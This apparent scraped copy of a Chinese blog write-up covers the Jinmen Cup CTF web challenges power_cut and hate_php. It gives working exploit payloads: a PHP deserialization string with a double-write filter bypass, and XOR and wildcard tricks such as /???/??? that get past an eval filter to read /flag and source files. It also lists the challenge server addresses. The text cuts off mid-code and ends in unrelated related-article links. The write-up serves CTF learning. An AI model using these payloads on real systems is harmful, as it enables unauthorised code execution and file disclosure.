[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)

Posted Eastmount

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)相关的知识,希望对你有一定的参考价值。

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut、hate_php、Go0SS、HploadHub和easysql,涉及知识点包括备份文件、SSRF、文件上传、SQL注入、302重定位、代码审计、中国蚁剑等。

参加比赛真的能学到很多知识,同时这些大佬是真的厉害,自己真的菜,我们只做出来6道题,需要学习的知识非常多,也非常感谢师弟们的努力。人生路上,要珍惜好每一天,努力奋斗,做到如数家珍,fighting!同时,作者在外读博求学,想好好阅读论文和做实验,因此已经停更技术文章,但这篇文章还是花时间总结出来,只望对初学者有帮助。

在这里插入图片描述

最高光的一刻,希望未来能更进一步,毕业后好好搞搞安全技术。

在这里插入图片描述

PS:最近网址还可以测试,大家可以试试这五道题目。后续作者会删除网址,保护主办方的服务器,当然他们应该也会关闭。本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


第一题 power_cut

题目描述如下:

  • http://119.3.128.126:32800/

在这里插入图片描述

该网站打开如下图所示:

在这里插入图片描述

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

1.正确解题思路

作者的基本思路如下:

  • 第一步,使用dirsearch扫描敏感目录
  • 第二步,发现index.php.swp源码文件并下载
  • 第三步,将.swp文件恢复成index.php文件
  • 第四步,分析源码发现是反序列化漏洞,通过双写简单绕过

(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

在这里插入图片描述

(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp

  • -u:指定网址
  • -e:指定网站语言
  • -w:指定字典
  • -r:递归目录(跑出目录后,继续跑目录下面的目录)
  • -random-agents:使用随机UA

在这里插入图片描述

文件泄露知识总结
备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。

  • 备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
  • 源码压缩包:www.zip、root.zip、web.zip
  • git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git
  • svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码
  • 其它文件泄露
    – .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构
    – .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
    – .pyc文件:python编译后的字节码文件

(3) 我们下载该源码文件,然后解读源码。

在这里插入图片描述

(4) 恢复.swp文件成 index.php,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。

  • vim -r index.php.swp
  • 按下i输入 Esc退出
  • 保存至本地 :w /tmp/index.php

在这里插入图片描述

文件恢复如下图所示:

在这里插入图片描述

在这里插入图片描述

下载本地文件如下图所示:

在这里插入图片描述

源代码如下所示:

<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\\n";
        $this->exitMsg="#--session end--#\\n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\\n");
        fclose($fd);
    }
  
    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
    	$flag="system('cat /flag')";
    	echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }
}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

(5) 审计发现 logger 类的构造函数中存在文件读取函数 readfile() ,并且参数可控。通过 weblog 类的 __wakeup 魔术方法,实例化 logger 类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。

在这里插入图片描述

反序列化就需要输入序列化值。

$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));

输出结果如下图所示,如果接着URL拼接仍然无结果。

  • O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flaflagg";}

在这里插入图片描述

因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:

?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flaflagg";}

在这里插入图片描述

知识总结
个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:

  • 通过dirsearch扫描网站目录
  • 文件泄露常见方法(index.php.swp),以及从备份文件到源码的恢复
  • 反序列化和序列化常见漏洞的利用,通过构造双写绕过flag过滤

2.其他错误尝试

当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。

dirb目录扫描,依赖我们的字典库。

在这里插入图片描述

BurpSuite拦截请求,查看内容。

在这里插入图片描述


第二题 hate_php

题目描述如下:

  • http://122.112.214.101:20004/

在这里插入图片描述

访问网址如下图所示:

在这里插入图片描述

PHP代码如下:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。

在这里插入图片描述


1.绕过数字和字母

首先,我们常见的CTF题代码如下,主要是绕过数字和字母。

  • 绕过 preg_match("/[A-Za-z0-9]+/",$code)

在这里插入图片描述

上面这段代码绕过方法如下:

  • 要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell。
  • 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

接着,我们在线构造PHP请求。

POST请求构造

<?php
    @$_++;
    print($_);
	$__=("#"^"|");
	print($__);
	$__.=("."^"~");
	print($__);
    $__.=("/"^"`");
	print($__);
    $__.=("|"^"/");
	print($__);
    $__.=("{"^"/");
	print($__);
?>

输出结果如下图所示:

在这里插入图片描述

GET请求构造

<?php
	$_="`{{{"^"?<>/";
	print($_);
?>

在这里插入图片描述

最终我们通过异或构造请求,核心知识点如下:

<?php
	var_dump("#./|{"^"|~`//"); //_POST
	var_dump("`{{{"^"?<>/");   //_GET
?>

最终绕过数字和字符串的代码如下,成功获取Flag值。

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))

1.这里的 "`{{{"^"?<>/" 是异或的简短写法,表示_GET
2.${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()

此时输出结果如下图所示:

在这里插入图片描述

但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。

在这里插入图片描述


2.绕过下划线

绕过数字和字母后,我们想试试能不能同时绕过下划线。

  • 函数名或预定义变量名有下划线为了避免跟用户自定义的名字冲突,如_GET、_POST等
  • 函数名前有2个下划线的是魔术方法,变量名前有一个下划线的一般都是系统变量或常量,如__construct

如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload,+号必须加引号。

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

进一步完善的payload如下:

?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{{{”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’+’] (),然后传入+=getFlag,最后执行函数getFlag()。

注意,这里的代码相当于 ${_GET}'+' ,利用${}中的代码可以执行的特点。

<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>
输出:hello world

此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符号也被过滤了。

  • ?code=${"`{{{"^"?<>/"}’+’;&+=getFlag

在这里插入图片描述


3.绕过所有规则(正确答案)

正确答案如下所示:

WEB hate_php

思路一:绕过字符和数字
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.失败 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)

思路二:绕过字符和数字+下划线(变量_和__)
code=${"`{{{"^"?<>/"}['+']();
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.成功 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
- ?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

思路三:绕过字符和数字+下划线(变量_和__+美元符号($)
1.均失败

------------------------------------------------------

【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?><?=`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E

Cflag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A} 

输出结果如下图所示:

在这里插入图片描述

解题思路:

  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

这里参考zering大佬文章,通过 /bin/cat 来读取源码,比如:

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

如果有长度限制,比如小于35且不存在 $ _,则将 $ _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的 <? 标签。

构造payload如下:
?><?=`/???/???%20/???/???/????/*`?>

php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>

读取到源码发现存在如下函数:

function getFlag(){
	$flag = file_get_contents('/flag');
	echo $flag;
}

注意,我们可以在本地构建该PHP案例进行测试。

在这里插入图片描述

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(以上是关于[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)的主要内容,如果未能解决你的问题,请参考以下文章

[网络安全提高篇] 一二〇.恶意软件动态分析经典沙箱Cape批量提取动态API特征

2021年津门杯国际网络安全创新大赛 - Misc

2021年津门杯国际网络安全创新大赛 - Misc

2021年津门杯国际网络安全创新大赛 - Misc

津门杯&红帽杯

津门杯&红帽杯